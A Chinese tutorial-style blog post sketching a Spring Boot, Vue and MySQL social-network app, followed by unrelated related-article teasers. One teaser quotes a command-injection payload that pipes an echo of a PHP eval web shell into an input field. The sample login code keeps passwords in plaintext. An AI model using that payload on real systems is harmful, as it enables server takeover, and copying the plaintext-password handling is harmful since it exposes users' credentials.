【Spring Boot】SpringBoot完整实现社交网站系统
一个完整的社交网站系统需要涉及到用户登录、发布动态、关注、评论、私信等各方面。这里提供一个简单的实现示例,供参考。
- 前端代码
前端使用Vue框架,以下是部分代码示例:
登录页:
<template><div><input type="text" v-model="username"><input type="password" v-model="password"><button @click="login">登录</button></div>
</template><script>
import axios from 'axios';
export default {data() {return {username: '',password: ''}},methods: {login() {axios.post('/api/login', {username: this.username,password: this.password}).then(res => {// 登录成功,跳转到首页});}}
}
</script>
首页:
<template><div><div v-for="post in posts" :key="post.id"><h3>{{ post.title }}</h3><p>{{ post.content }}</p><button @click="likePost(post)">赞</button><button @click="comment(post)">评论</button></div></div>
</template><script>
import axios from 'axios';
export default {data() {return {posts: []}},methods: {getPosts() {axios.get('/api/posts').then(res => {this.posts = res.data;});},likePost(post) {// 点赞},comment(post) {// 评论}},mounted() {this.getPosts();}
}
</script>
- 后端代码
后端使用Spring Boot框架,以下是部分代码示例:
登录Controller:
@RestController
@RequestMapping("/api")
public class LoginController {@Autowiredprivate UserService userService;@PostMapping("/login")public String login(@RequestBody User user) {if (userService.checkUser(user)) {return "success";} else {return "failure";}}
}
UserService类:
@Service
public class UserService {@Autowiredprivate UserRepository userRepository;public boolean checkUser(User user) {User userInDb = userRepository.findByUsername(user.getUsername());if (userInDb != null && userInDb.getPassword().equals(user.getPassword())) {return true;} else {return false;}}
}
PostController类:
@RestController
@RequestMapping("/api")
public class PostController {@Autowiredprivate PostService postService;@GetMapping("/posts")public List<Post> getPosts() {return postService.getAllPosts();}@PostMapping("/posts")public void addPost(@RequestBody Post post) {postService.addPost(post);}
}
PostService类:
@Service
public class PostService {@Autowiredprivate PostRepository postRepository;public List<Post> getAllPosts() {return postRepository.findAll();}public void addPost(Post post) {postRepository.save(post);}
}
PostRepository类:
public interface PostRepository extends JpaRepository<Post, Long> {
}
UserRepository类:
public interface UserRepository extends JpaRepository<User, Long> {User findByUsername(String username);
}
Post类:
java
@Entity
public class Post {@Id@GeneratedValue(strategy = GenerationType.AUTO)private Long id;private String title;private String content;private LocalDateTime createTime;// 省略getter和setter方法,以及构造方法等
}
User类:
java
@Entity
public class User {@Id@GeneratedValue(strategy = GenerationType.AUTO)private Long id;private String username;private String password;// 省略getter和setter方法,以及构造方法等
}
- 数据库代码
使用MySQL数据库,以下是部分代码示例:
创建数据库:
sql
CREATE DATABASE social;
创建用户表:
sql
CREATE TABLE `user` (`id` int(11) NOT NULL AUTO_INCREMENT,`username` varchar(255) DEFAULT NULL,`password` varchar(255) DEFAULT NULL,PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
创建动态表:
sql
CREATE TABLE `post` (`id` int(11) NOT NULL AUTO_INCREMENT,`title` varchar(255) DEFAULT NULL,`content` text,`create_time` datetime DEFAULT NULL,PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
以上是简单的实现示例,实际社交网站系统需要考虑更复杂的业务逻辑和安全性问题。完整的实现可参考相关开源项目,例如:https://github.com/b3log/symphony
相关文章:
![](https://www.ngui.cc/images/no-images.jpg)
【Spring Boot】SpringBoot完整实现社交网站系统
一个完整的社交网站系统需要涉及到用户登录、发布动态、关注、评论、私信等各方面。这里提供一个简单的实现示例,供参考。 前端代码 前端使用Vue框架,以下是部分代码示例: 登录页: <template><div><input type…...
![](https://img-blog.csdnimg.cn/b956d1a6dfc34738b4fecfdda57c8528.png)
Modbus转Profinet网关连接三菱变频器博图快速配置
本案例将分享如何使用兴达易控的modbus转profinet网关(XD-MDPN100)来连接西门子1200系列plc,并实现三菱变频器的485通讯兼容转modbusTCP通信。通过在博图中进行配置,我们可以实现设备之间的连接和通信。 首先,我们需要…...
![](https://www.ngui.cc/images/no-images.jpg)
8.9 【C语言】有关指针的小结
(1)首先要准确理解指针的含义。 &a是变量a的地址,也可称为变量a的指针。 指针变量是存放地址的变量。 指针变量的值是一个地址。 指针变量也称为地址变量,它的值是地址。 (2)在C语言中,…...
![](https://www.ngui.cc/images/no-images.jpg)
WordPress Nginx伪静态规则设置以及二级目录规则
WordPress Nginx伪静态规则设置以及二级目录规则(wordpress不是安装在根目录的情况) 根目录下WordPress的伪静态规则: location / {if (-f $request_filename/index.html){rewrite (.*) $1/index.html break;}if (-f $request_filename/ind…...
![](https://img-blog.csdnimg.cn/560e1e21002943d28d3375e2c034f49d.png)
2023年高教社杯 国赛数学建模思路 - 复盘:人力资源安排的最优化模型
文章目录 0 赛题思路1 描述2 问题概括3 建模过程3.1 边界说明3.2 符号约定3.3 分析3.4 模型建立3.5 模型求解 4 模型评价与推广5 实现代码 建模资料 0 赛题思路 (赛题出来以后第一时间在CSDN分享) https://blog.csdn.net/dc_sinor?typeblog 1 描述 …...
![](https://www.ngui.cc/images/no-images.jpg)
React内置函数之startTransition与useTransition
React内置函数之startTransition,useTransition 在React中,使用startTransition和useTransition这两个内置函数可以帮助我们更好地管理组件的过渡状态。这两个函数的出现,旨在提供一种简单而强大的方式,来处理组件状态的变化&…...
![](https://www.ngui.cc/images/no-images.jpg)
观察者模式简介
概念: 观察者模式(Observer Pattern)是一种行为型设计模式,用于在对象之间建立一对多的依赖关系,当一个对象的状态发生变化时,其相关依赖对象会自动收到通知并进行相应处理。 特点: 松耦合&a…...
![](https://www.ngui.cc/images/no-images.jpg)
统计程序两个点之间执行的指令数量
环境:支持perf ubuntu安装 apt-get install linux-tools-common linux-tools-generic linux-tools-uname -randroid 一般自带simpleperf 分析 两个点作差, 求中间结果; *(int*)nullptr 0;案例 断点 1 代码 #define SETPOINT(...) do { *(int*)nullptr 0; } while(0…...
![](https://img-blog.csdnimg.cn/d8ec790744514c9c8aa55ac378b26ad9.png#pic_center)
时序预测 | MATLAB实现基于TSO-XGBoost金枪鱼算法优化XGBoost的时间序列预测(多指标评价)
时序预测 | MATLAB实现基于TSO-XGBoost金枪鱼算法优化XGBoost的时间序列预测(多指标评价) 目录 时序预测 | MATLAB实现基于TSO-XGBoost金枪鱼算法优化XGBoost的时间序列预测(多指标评价)预测效果基本介绍程序设计参考资料 预测效果 基本介绍 Matlab实现基于TSO-XGBoost金枪鱼算…...
![](https://img-blog.csdnimg.cn/7f21b181b4c445d389f2790a2a365d09.png)
java- ConcurrentHashMap 并发
1. ConcurrentHashMap 并发 1.1. 减小锁粒度 减小锁粒度是指缩小锁定对象的范围,从而减小锁冲突的可能性,从而提高系统的并发能力。减小锁粒度是一种削弱多线程锁竞争的有效手段,这种技术典型的应用是 ConcurrentHashMap(高性能的 HashMap)…...
![](https://img-blog.csdnimg.cn/1ee677f14dde4b0f887a5335d92dc499.png)
java练习8.100m小球落地
题目: 如一个小球从100米高度自由落下,每次落地后就反跳回原高度的一半。 那么求它在第10次落地时,共经过多少米?第10次反弹多高? public static void main(String[] args) {/*假如一个小球从100米高度自由落下,每次落…...
![](https://img-blog.csdnimg.cn/2796c6facf5b4a268cb67de3989d7391.png)
Android JNI系列详解之生成指定CPU的库文件
一、前提 这次主要了解Android的cpu架构类型,以及在使用CMake工具的时候,如何指定生成哪种类型的库文件。 如上图所示,是我们之前使用CMake工具默认生成的四种cpu架构的动态库文件:arm64-v8a、armeabi-v7a、x86、x86_64࿰…...
![](https://img-blog.csdnimg.cn/img_convert/c5ac6813be35290d5c6e0d50062d419b.png)
Leetcode每日一题:1448. 统计二叉树中好节点的数目
原题 给你一棵根为 root 的二叉树,请你返回二叉树中好节点的数目。 「好节点」X 定义为:从根到该节点 X 所经过的节点中,没有任何节点的值大于 X 的值。 示例 1: 输入:root [3,1,4,3,null,1,5] 输出:4 解…...
![](https://img-blog.csdnimg.cn/5f248245bb264a90b4a644489cb225f8.png#pic_center)
华为OD七日集训第2期 - 按算法分类,由易到难,循序渐进,玩转OD(文末送书)
目录 一、适合人群二、本期训练时间三、如何参加四、7日集训第2期五、精心挑选21道高频100分经典题目,作为入门。第1天、逻辑分析第2天、字符串处理第3天、数据结构第4天、递归回溯第5天、二分查找第6天、深度优先搜索dfs算法第7天、动态规划 六、集训总结1、《代码…...
![](https://img-blog.csdnimg.cn/fccfbca341124b50b28c5f30fc9fda98.png)
3d max插件CG MAGIC中的蜂窝材质功能可提升效率吗?
工作中能提升效率也都是大家所想的,对于设计师的一个设计过程中,可能想怎么样可以更快呀,是哪个步骤慢了呢? 这样的结果只能说会很多,但是建模这个步骤,肯定是有多无少的。 为了让模型更加逼真,…...
![](https://img-blog.csdnimg.cn/c8e2f3a3ee2b4bae92b6e4c53951d155.png)
一句话木马攻击复现:揭示黑客入侵的实战过程
这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。 准备环境 OWASP虚拟机xfp 7与xshell 7 DVWA系统默认的账号密码均为:admin/admin 1、命令注入中复现 攻击payload 127.0.0.1 | echo "<?php eval(…...
![](https://img-blog.csdnimg.cn/5146a01b4fcd452f84b4bcaaadb78a64.gif)
【游戏开发教程】Unity Cinemachine快速上手,详细案例讲解(虚拟相机系统 | 新发出品 | 良心教程)
文章目录 一、前言二、插件下载三、案例1:第三人称自由视角,Free Look character场景1、场景演示2、组件参数2.1、CinemachineBrain:核心2.2、CinemachineFreeLook:第三人称自由视角相机2.2.1、设置Follow:跟随2.2.2、…...
![](https://img-blog.csdnimg.cn/d6f22a0be90840618c34ac671b5e706d.png)
当图像宽高为奇数时,如何计算 I420 格式的uv分量大小
背景 I420 中 yuv 数据存放在3个 planes 中。 网上一般说 I420 数据大小为 widthheight1.5 但是当 width 和 height 是奇数时,这个计算公式会有问题。 I420 中 u 和 v 的宽高分别为 y 的一半。 但是当不能整除时,是如何取整呢?向上还是向下&…...
![](https://img-blog.csdnimg.cn/398c642486da4694894fafd08e1c824c.png)
结构型模式-代理模式
代理模式* 定义:在代理模式(Proxy Pattern)中,一个类代表另一个类的功能。这种类型的设计模式属于结构型模式。在代理模式中,我们创建具有现有对象的对象,以便向外界提供功能接口。 意图:为其…...
![](https://www.ngui.cc/images/no-images.jpg)
SpringBoot+Redis BitMap 实现签到与统计功能
最近项目里需要集成签到和统计功能,连续签到后会给用户发放一些优惠券和奖品,以此来吸引用户持续在该品台进行活跃。下面我们一些来聊一聊目前主流的实现方案。 因为签到和统计的功能涉及的数据量比较大,所以在如此大的数据下利用传统的关系…...
![](https://www.ngui.cc/images/no-images.jpg)
P5739 【深基7.例7】计算阶乘
题目描述 求 n ! n! n!,也就是 1 2 3 ⋯ n 1\times2\times3\dots\times n 123⋯n。 挑战:尝试不使用循环语句(for、while)完成这个任务。 输入格式 第一行输入一个正整数 n n n。 输出格式 输出一个正整数,…...
![](https://img-blog.csdnimg.cn/fa6e5922f4a34408ac88294925192d71.png)
scikit-learn中OneHotEncoder用法
One-Hot编码,又称为一位有效编码,是分类变量作为二进制向量的表示。这首先要求将分类值映射到整数值,然后,每个整数值被表示为二进制向量,将整数索引标记为1,其余都标为0。 OneHotEncoder()常用参数解释 …...
![](https://img-blog.csdnimg.cn/cb30c44aa40b4f53b35a50853be830de.png)
linux操作系统的权限的深入学习(未完)
1.Linux权限的概念 Linux下有两种用户:超级用户(root)、普通用户。 超级用户:可以再linux系统下做任何事情,不受限制 普通用户:在linux下做有限的事情。 超级用户的命令提示符是“#”,普通用户…...
![](https://img-blog.csdnimg.cn/5c7eb49155fe4a3abd95ec046c865344.png)
C 连接MySQL8
Linux 安装MySQL 8 请参考文章:Docker 安装MySQL 8 详解 Visual Studio 2022 编写C 连接MySQL 8 C源码 #include <stdio.h> #include <mysql.h> int main(void) {MYSQL mysql; //数据库句柄MYSQL_RES* res; //查询结果集MYSQL_ROW row; //记录结…...
![](https://img-blog.csdnimg.cn/fb3d1a99cf664d0cb0162ca757b76c71.png#pic_center)
福利之舞:员工的心跳与企业的平衡术
引言:员工福利与满意度的关系 在现代企业中,员工福利已经不仅仅是一种待遇,而是与员工满意度、忠诚度和生产力紧密相连的关键因素。一个合理且吸引人的福利制度可以大大提高员工的工作积极性,同时也能够吸引和留住顶尖的人才。但…...
![](https://img-blog.csdnimg.cn/e1980129c836411badd8ceafda90f68a.png)
MyBatis动态语句且如何实现模糊查询及resultType与resultMap的区别---详细介绍
前言 前面我们学习了如何使用Mybatis实现简单的增删改查。今天我们来学习如何使用动态语句来根据不同的条件生成不同的SQL语句。这在实际开发中非常有用,因为通常查询条件是多样化的,需要根据实际情况来拼接SQL语句,那什么是MyBatis动态语句呢…...
![](https://img-blog.csdnimg.cn/f6aec104a680458c9a676599a1a9164a.jpeg)
麒麟OS国产系统身份证阅读器web网页开发使用操作流程
1、打开麒麟软件商店,选择驱动,找到身份证阅读器,找到东信智能身份证社保卡读卡器,点击安装。 2、安装完成后,点击打开 3、进入读卡界面 4、进入代码集成 <script type"text/javascript">var ctnFin…...
![](https://www.ngui.cc/images/no-images.jpg)
前端面试:【事件处理】探索事件流、委托与事件对象
嗨,亲爱的事件探险家!在JavaScript的世界中,事件处理是与用户互动的关键。本文将带你探索事件流、事件委托、常见事件类型和事件对象,这些知识将帮助你成为事件处理的大师。 2. 事件流:事件的旅程 事件流描述了事件从…...
![](https://www.ngui.cc/images/no-images.jpg)
c语言函数指针使用例子
一、是什么? c语言函数名是一段代码首地址,连接器链接时放在text段,下面例子会把函数名打印出来,.map文件内存分布查看相关代码段函数: 下面例子实现步骤: 来源于uboot 的初始化 board_f.c typedef int (*init_fun_t)(void); (1)构建gd数据类型 (2)初始化全局gd变量 (3)实…...
![](https://img-blog.csdnimg.cn/img_convert/4235c3ee40d43346e2f33ce47a432a2c.png)
云计算技术应用专业实训室建设方案
一、 云计算技术应用系统概述 云计算技术是一种基于互联网的计算模式,通过将计算资源(如服务器、存储、数据库、网络、软件等)提供为一种服务,使用户能够按需获取和使用这些资源,而无需拥有和管理实际的物理设备。云计…...
![](/images/no-images.jpg)
班级网页模板html源码/seo的搜索排名影响因素有哪些
Android系统的壁纸是其核心模块之一,但是一直以来壁纸Android的壁纸又有其一直的BUG。例如使用单屏的图片作为壁纸,在手机重启后,会自动拉伸图片变为随桌面一起滑动的桌面。还有就是在这种情况下使用桌面,壁纸后面会有恼人的黑色&…...
![](https://images2015.cnblogs.com/blog/1057092/201611/1057092-20161108182057827-2040527045.png)
做网站要提供什么/网络营销产品
git方式上传、下载代码一种方式是通过git客户端,另一种方式可通过编辑器pycharm来操作 本篇文章主要写一下如何通过pycharm客户端来上传下载代码。 1、首先配置git上传的环境 File--->Settings--->VersionControl---->Git如下图所示: 2、下载代…...
![](https://github.com/Unity-Technologies/PostProcessing/wiki/images/lensdistortion.png)
网站建设推广怎么做/上海网站建设开发
Lens Distortion 透镜扭曲 本文档主要是对Unity官方手册的个人理解与总结(其实以翻译记录为主:>) 仅作为个人学习使用,不得作为商业用途,欢迎转载,并请注明出处。 文章中涉及到的操作都是基于Unity2018…...
![](/images/no-images.jpg)
大型网站域名/网页制作工具
续上文。来的时候就琢磨着看什么,心想无人区和私人定制都刚上映不久,犹豫着看那部电影的时候,就看见约我的那个女孩站在电影院门口,身边还有一名男子,不知道在争吵什么。我的英雄气节促使我大步就上去问个究竟。“怎么…...
![](/images/no-images.jpg)
开网络公司做网站挣钱吗/贵阳seo网站推广
一、路由 uni-app页面路由为框架统一管理,需要在pages.json里配置每个路由页面的路径和页面样式。类似的小程序在app.json中配置页面路由相同 页面栈 框架以栈的形式管理当前所有页面,当发生路由切换的时候,页面栈的表现如下: …...
![](http://upload-images.jianshu.io/upload_images/1770091-672d9df1ad520321.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/356)
个人网站名称怎么起/适合推广的app有哪些
Flutter的Widget采用的是现代化的React风格,该风格的设计灵感来源于React这么语言。最核心的理念是你可以使用Widget设计界面。Widget通过当前的state和注册信息来描述view应该长成什么样子的。当当前的状态发生了变化后,Widget会重新构建。 一、Hello W…...